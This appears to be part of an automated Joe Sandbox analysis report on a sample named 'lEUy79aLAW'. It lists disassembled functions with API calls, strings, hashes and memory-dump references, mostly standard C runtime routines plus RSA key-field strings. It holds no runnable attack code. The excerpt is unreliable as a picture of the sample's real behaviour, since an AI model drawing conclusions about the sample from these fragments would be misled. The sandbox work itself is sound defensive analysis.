                                  • Opcode ID: 27398a6bd04e7b042c2df0dd4eefd57469496f7df0cf8f294bdbd0d9e34c2454
                                  • Instruction ID: 566564b1ffd10f9fab582902f04eacffb2f958fc77528ca489ddcfba5234cfe0
                                  • Opcode Fuzzy Hash: 27398a6bd04e7b042c2df0dd4eefd57469496f7df0cf8f294bdbd0d9e34c2454
                                  • Instruction Fuzzy Hash: AF41AF327215168BD708CF39C895BA5F7E1FB98310F1987A9E42ACB2C1DB35E9108B84
                                  Function 00A34110 Relevance: .1, Instructions: 117COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 7eebffbf8afbd8bb03add5bbc0a7a71f2ff96c025042a5cd5845bd9a7d58224d
                                  • Instruction ID: 2f9acb7a278f26bfb5fb1b254f11fee5c842e6138590dca54747e71e6d6f4be2
                                  • Opcode Fuzzy Hash: 7eebffbf8afbd8bb03add5bbc0a7a71f2ff96c025042a5cd5845bd9a7d58224d
                                  • Instruction Fuzzy Hash: 225102B1A087018FD365CF28D491A5AB7F4BF9D304F548A2EE49AE7610E730FA45CB91
                                  Function 00A34B70 Relevance: .1, Instructions: 111COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 49d9b33204517425692a6d187e4c00c2cf8f98c49f6ecfb95bd0f565f8c988ff
                                  • Instruction ID: 17cca4d3535965dd241ad5896167c474134cdcb709b8e682a1f8bd9e897090ad
                                  • Opcode Fuzzy Hash: 49d9b33204517425692a6d187e4c00c2cf8f98c49f6ecfb95bd0f565f8c988ff
                                  • Instruction Fuzzy Hash: 124182CAC29F9C06E913A73548821C1E290AFFB4ED224E387FC7475672E712B5E52320
                                  Function 00A2D557 Relevance: .1, Instructions: 80COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 29c9d7e43dfe805d176ee8a0da5108ee633dbb35ea7e4490e5854e383a146dea
                                  • Instruction ID: 72ad65776c9bff703910161c257642d804106fbadded837bf70fb98f446e40ef
                                  • Opcode Fuzzy Hash: 29c9d7e43dfe805d176ee8a0da5108ee633dbb35ea7e4490e5854e383a146dea
                                  • Instruction Fuzzy Hash: 69314D67806F5991C713AB3D84072B3E3E2EFD4216F26C74DE9D666306FB35A348A210
                                  Function 00A68FE0 Relevance: .1, Instructions: 76COMMONLIBRARYCODE
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                  • Instruction ID: 28920eb052445de3e73f5cd0c6676a3d4313e8248875430c7aecde8e1f03453a
                                  • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                  • Instruction Fuzzy Hash: C811E7B720008243D6158B2ED8B46B7A7BDEBC5321B2F437AD0428F75CD633A9459600
                                  Function 00A6E27D Relevance: 88.0, APIs: 47, Strings: 3, Instructions: 478COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • DName::DName.LIBVCRUNTIME ref: 00A6E2F3
                                    • Part of subcall function 00A6B218: DName::doPchar.LIBVCRUNTIME ref: 00A6B23F
                                  • DName::operator+.LIBCMT ref: 00A6E302
                                    • Part of subcall function 00A6B55A: DName::operator+=.LIBVCRUNTIME ref: 00A6B570
                                  • DName::operator+=.LIBVCRUNTIME ref: 00A6E622
                                  • UnDecorator::getSignedDimension.LIBCMT ref: 00A6E62B
                                  • DName::operator+.LIBCMT ref: 00A6E639
                                  • DName::operator+=.LIBVCRUNTIME ref: 00A6E642
                                  • UnDecorator::getSignedDimension.LIBCMT ref: 00A6E64B
                                  • DName::operator+.LIBCMT ref: 00A6E659
                                  • DName::operator+=.LIBVCRUNTIME ref: 00A6E662
                                  • UnDecorator::getSignedDimension.LIBCMT ref: 00A6E66B
                                  • DName::operator+.LIBCMT ref: 00A6E679
                                  • DName::operator+=.LIBVCRUNTIME ref: 00A6E682
                                  • DName::operator+.LIBCMT ref: 00A6E69B
                                  • DName::operator+=.LIBVCRUNTIME ref: 00A6E6A4
                                  • DName::operator+.LIBCMT ref: 00A6E6B1
                                  • UnDecorator::getDataType.LIBVCRUNTIME ref: 00A6E6C0
                                    • Part of subcall function 00A6D416: DName::DName.LIBVCRUNTIME ref: 00A6D422
                                  • DName::operator+.LIBCMT ref: 00A6E6E8
                                  • DName::operator+.LIBCMT ref: 00A6E73A
                                  • DName::operator+=.LIBCMT ref: 00A6E6D8
                                    • Part of subcall function 00A6B623: DName::DName.LIBVCRUNTIME ref: 00A6B63D
                                  • DName::operator=.LIBVCRUNTIME ref: 00A6E2E0
                                    • Part of subcall function 00A6B451: DName::doPchar.LIBVCRUNTIME ref: 00A6B470
                                  • DName::DName.LIBVCRUNTIME ref: 00A6E344
                                  • DName::operator+.LIBCMT ref: 00A6E350
                                  • DName::operator+=.LIBVCRUNTIME ref: 00A6E35C
                                  • DName::operator+=.LIBCMT ref: 00A6E372
                                  • DName::operator+=.LIBCMT ref: 00A6E37C
                                  • UnDecorator::getZName.LIBVCRUNTIME ref: 00A6E3B5
                                  • DName::DName.LIBVCRUNTIME ref: 00A6E3DD
                                  • DName::operator+.LIBCMT ref: 00A6E3EC
                                  • DName::operator+=.LIBVCRUNTIME ref: 00A6E40C
                                  • DName::DName.LIBVCRUNTIME ref: 00A6E423
                                  • DName::DName.LIBVCRUNTIME ref: 00A6E49D
                                  • DName::DName.LIBVCRUNTIME ref: 00A6E4C2
                                  • UnDecorator::getStringEncoding.LIBVCRUNTIME ref: 00A6E502
                                  • UnDecorator::getStringEncoding.LIBVCRUNTIME ref: 00A6E542
                                  • DName::operator=.LIBVCRUNTIME ref: 00A6E59D
                                  • DName::operator+.LIBCMT ref: 00A6E5B5
                                  • DName::operator=.LIBVCRUNTIME ref: 00A6E5DE
                                  • DName::operator=.LIBVCRUNTIME ref: 00A6E88E
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Name::operator+Name::operator+=$Name$Name::$Decorator::get$Name::operator=$DimensionSigned$EncodingName::doPcharString$DataType
                                  • String ID: `anonymous namespace'$`string'$operator
                                  • API String ID: 2067090289-815891235
                                  • Opcode ID: dc0fc36e97cc3f564e10df8fe110baf92546259ca2f5fdc9f69b70476f7910f4
                                  • Instruction ID: 91bf4262016b097ffc6025f578b7212599fd7d4ecc3778e02272c7a93305c7d7
                                  • Opcode Fuzzy Hash: dc0fc36e97cc3f564e10df8fe110baf92546259ca2f5fdc9f69b70476f7910f4
                                  • Instruction Fuzzy Hash: 5502E47980414ADFDF15DFA4D995AFEBBF4EF49300F10041AE142EB292DB759A82CB60
                                  Function 00A50623 Relevance: 29.8, APIs: 12, Strings: 5, Instructions: 86libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  • InitializeCriticalSectionAndSpinCount.KERNEL32(00AE87E8,00000FA0,215D2A08,?,?,?,?,00A9EEC0,000000FF), ref: 00A50652
                                  • GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00A9EEC0,000000FF), ref: 00A5065D
                                  • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00A9EEC0,000000FF), ref: 00A5066E
                                  • GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00A50684
                                  • GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00A50692
                                  • GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00A506A0
                                  • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00A506CB
                                  • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00A506D6
                                  • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,?,00A9EEC0,000000FF), ref: 00A506F9
                                  • ___scrt_fastfail.LIBCMT ref: 00A5070A
                                  • DeleteCriticalSection.KERNEL32(00AE87E8,00000007,?,?,?,?,00A9EEC0,000000FF), ref: 00A50715
                                  • CloseHandle.KERNEL32(00000000,?,?,?,?,00A9EEC0,000000FF), ref: 00A50725
                                  Strings
                                  • api-ms-win-core-synch-l1-2-0.dll, xrefs: 00A50658
                                  • WakeAllConditionVariable, xrefs: 00A50698
                                  • kernel32.dll, xrefs: 00A50669
                                  • InitializeConditionVariable, xrefs: 00A5067E
                                  • SleepConditionVariableCS, xrefs: 00A5068A
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: AddressHandleProc$CriticalModuleSection__crt_fast_encode_pointer$CloseCountCreateDeleteEventInitializeSpin___scrt_fastfail
                                  • String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                  • API String ID: 2634751764-1714406822
                                  • Opcode ID: 8f37fb71ed8db8f73d9b5cc52168f944f0bb397027a9fc359b01cc67eff09e45
                                  • Instruction ID: aeeb96e6c2ac6f804b4444500d081cd057c9735d28a03874f1d8ac75e9e6e43d
                                  • Opcode Fuzzy Hash: 8f37fb71ed8db8f73d9b5cc52168f944f0bb397027a9fc359b01cc67eff09e45
                                  • Instruction Fuzzy Hash: D121A332640712BBDB109BF5AD5AF2676E8FB46B52F000925FD05D76D0DFB88C058B60
                                  Function 00A6E8CA Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 155COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • UnDecorator::getBasicDataType.LIBVCRUNTIME ref: 00A6E901
                                  • DName::operator=.LIBVCRUNTIME ref: 00A6E912
                                  • DName::operator+=.LIBCMT ref: 00A6E920
                                  • UnDecorator::getPtrRefType.LIBCMT ref: 00A6E952
                                  • operator+.LIBVCRUNTIME ref: 00A6E973
                                  • UnDecorator::getDataIndirectType.LIBVCRUNTIME ref: 00A6E9D0
                                  • UnDecorator::getBasicDataType.LIBVCRUNTIME ref: 00A6E9D9
                                  • UnDecorator::getPtrRefDataType.LIBVCRUNTIME ref: 00A6E9F1
                                  • UnDecorator::getScopedName.LIBVCRUNTIME ref: 00A6EA2D
                                  • operator+.LIBVCRUNTIME ref: 00A6EA4E
                                  • DName::DName.LIBVCRUNTIME ref: 00A6EA60
                                  • DName::operator=.LIBVCRUNTIME ref: 00A6EA8B
                                  • DName::operator+=.LIBCMT ref: 00A6EA99
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Decorator::get$Type$Data$BasicNameName::operator+=Name::operator=operator+$IndirectName::Scoped
                                  • String ID: std::nullptr_t$std::nullptr_t $volatile
                                  • API String ID: 2673590388-294867888
                                  • Opcode ID: d8961bb805f39a27a52c0155547dabaddbdd19c3c81088c0b6f109a514a39132
                                  • Instruction ID: d8e1aa124f021c3d799252968f71691d4ac8b526682de166f0d54c33e5c304f0
                                  • Opcode Fuzzy Hash: d8961bb805f39a27a52c0155547dabaddbdd19c3c81088c0b6f109a514a39132
                                  • Instruction Fuzzy Hash: 1351E67A900204EFCF11DFA8C9858AAFFB5FF56340B14455AF409DB2A5EB36CA46CB50
                                  Function 00A7CC29 Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free$Info
                                  • String ID:
                                  • API String ID: 2509303402-0
                                  • Opcode ID: 4c05326d509e5b981620b7cf105dd70692bbd02935feed510650c90d33621594
                                  • Instruction ID: 1df659b1c37cd9d0cbaa8979d1f9fdee4c34d43d87a0e723f1824300e3b83e4f
                                  • Opcode Fuzzy Hash: 4c05326d509e5b981620b7cf105dd70692bbd02935feed510650c90d33621594
                                  • Instruction Fuzzy Hash: 60B16A719003069FEB21DF68CD81BEEBBF5AF09310F14856EF499A7242DB75A941CB60
                                  Function 00A8CF89 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free
                                  • String ID:
                                  • API String ID: 269201875-0
                                  • Opcode ID: 52f5a909e11b15fb6a9bf818ec6a29ce89b75115ada880aa7565fa4c69454714
                                  • Instruction ID: 4e6b8b55df76261db41dde6f04bba2ba9fcf00c876d2e06a7634451cef162722
                                  • Opcode Fuzzy Hash: 52f5a909e11b15fb6a9bf818ec6a29ce89b75115ada880aa7565fa4c69454714
                                  • Instruction Fuzzy Hash: 67C116B2D40205AFEB20EBA8CD42FDE77F8AF59710F144165FA05FB282D6709E419B61
                                  Function 00A7D328 Relevance: 16.6, APIs: 11, Instructions: 116COMMON
                                  Download Yara Rule
                                  APIs
                                  • MultiByteToWideChar.KERNEL32(?,00000000,?,000000FF,00000000,00000000,?), ref: 00A7D380
                                  • GetLastError.KERNEL32 ref: 00A7D38D
                                  • __dosmaperr.LIBCMT ref: 00A7D394
                                  • MultiByteToWideChar.KERNEL32(?,00000000,?,000000FF,00000000,?), ref: 00A7D3C0
                                  • GetLastError.KERNEL32 ref: 00A7D3CA
                                  • __dosmaperr.LIBCMT ref: 00A7D3D1
                                  • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,?,?,00000000,00000000), ref: 00A7D414
                                  • GetLastError.KERNEL32 ref: 00A7D41E
                                  • __dosmaperr.LIBCMT ref: 00A7D425
                                  • _free.LIBCMT ref: 00A7D431
                                  • _free.LIBCMT ref: 00A7D438
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                  • String ID:
                                  • API String ID: 2441525078-0
                                  • Opcode ID: 0457628855e9095aa6e8baaca34fc0d97051dbff59aae6cac1b35c726ff8fb63
                                  • Instruction ID: 3639b8800fd0c90d69b71c186cb75b3475e2a6935f77e29e3bd3bd55c3c64e73
                                  • Opcode Fuzzy Hash: 0457628855e9095aa6e8baaca34fc0d97051dbff59aae6cac1b35c726ff8fb63
                                  • Instruction Fuzzy Hash: 7531817280060AFFDF11AFA4CD45DAE7B7CEF05324B10C259F918AA190EB319D11DBA1
                                  Function 00A6A5D6 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 301COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • IsInExceptionSpec.LIBVCRUNTIME ref: 00A6A6D1
                                  • ___TypeMatch.LIBVCRUNTIME ref: 00A6A803
                                  • IsInExceptionSpec.LIBVCRUNTIME ref: 00A6A8CD
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A6A92B
                                  • _UnwindNestedFrames.LIBCMT ref: 00A6A94F
                                  • CallUnexpected.LIBVCRUNTIME ref: 00A6A96A
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ExceptionSpec$CallException@8FramesMatchNestedThrowTypeUnexpectedUnwind
                                  • String ID: csm$csm$csm
                                  • API String ID: 2291861386-393685449
                                  • Opcode ID: 91f7ee5e1f35064c2fc312b018812810e5b69fa08018a41e26f8e74ccfd4a25c
                                  • Instruction ID: 8682321ed3468c50ca79b6d0defb8aac0474eef2c2eaefbe5bf55e681df775fc
                                  • Opcode Fuzzy Hash: 91f7ee5e1f35064c2fc312b018812810e5b69fa08018a41e26f8e74ccfd4a25c
                                  • Instruction Fuzzy Hash: 5AB17C72800209DFCF15DFA4C981AAEBBB5FF28314F15415AE815BB212D731DA52CFA2
                                  Function 00A22730 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 179COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A20AE0: ___std_type_info_name.LIBVCRUNTIME ref: 00A20B9E
                                    • Part of subcall function 00A20AE0: ___std_type_info_name.LIBVCRUNTIME ref: 00A20C09
                                  • ___std_type_info_name.LIBVCRUNTIME ref: 00A227C4
                                    • Part of subcall function 00A67BC4: ___unDName.LIBVCRUNTIME ref: 00A67BF0
                                  • ___std_type_info_name.LIBVCRUNTIME ref: 00A2282E
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ___std_type_info_name$Name___un
                                  • String ID: ModPrime1PrivateExponent$ModPrime2PrivateExponent$MultiplicativeInverseOfPrime2ModPrime1$Prime1$Prime2$PrivateExponent$ThisObject:
                                  • API String ID: 3683324773-4091968653
                                  • Opcode ID: 1140a6f01260709937105d350bc08293579db66a1a555d57cc402d4a4df59fa7
                                  • Instruction ID: 061ee5a2a8b03ebf757be8a75b2681059fa6ccf3323a970648cc64ab40937452
                                  • Opcode Fuzzy Hash: 1140a6f01260709937105d350bc08293579db66a1a555d57cc402d4a4df59fa7
                                  • Instruction Fuzzy Hash: 2D61D271504740BFC711EF78D916B9BBBE5BF82340F004A29F1955B2E1EBB19948CB92
                                  Function 00A5A00F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80threadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00A5A05B
                                  • SwitchToThread.KERNEL32(?), ref: 00A5A07E
                                  • Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00A5A09D
                                  • Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00A5A0B9
                                  • Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00A5A0C4
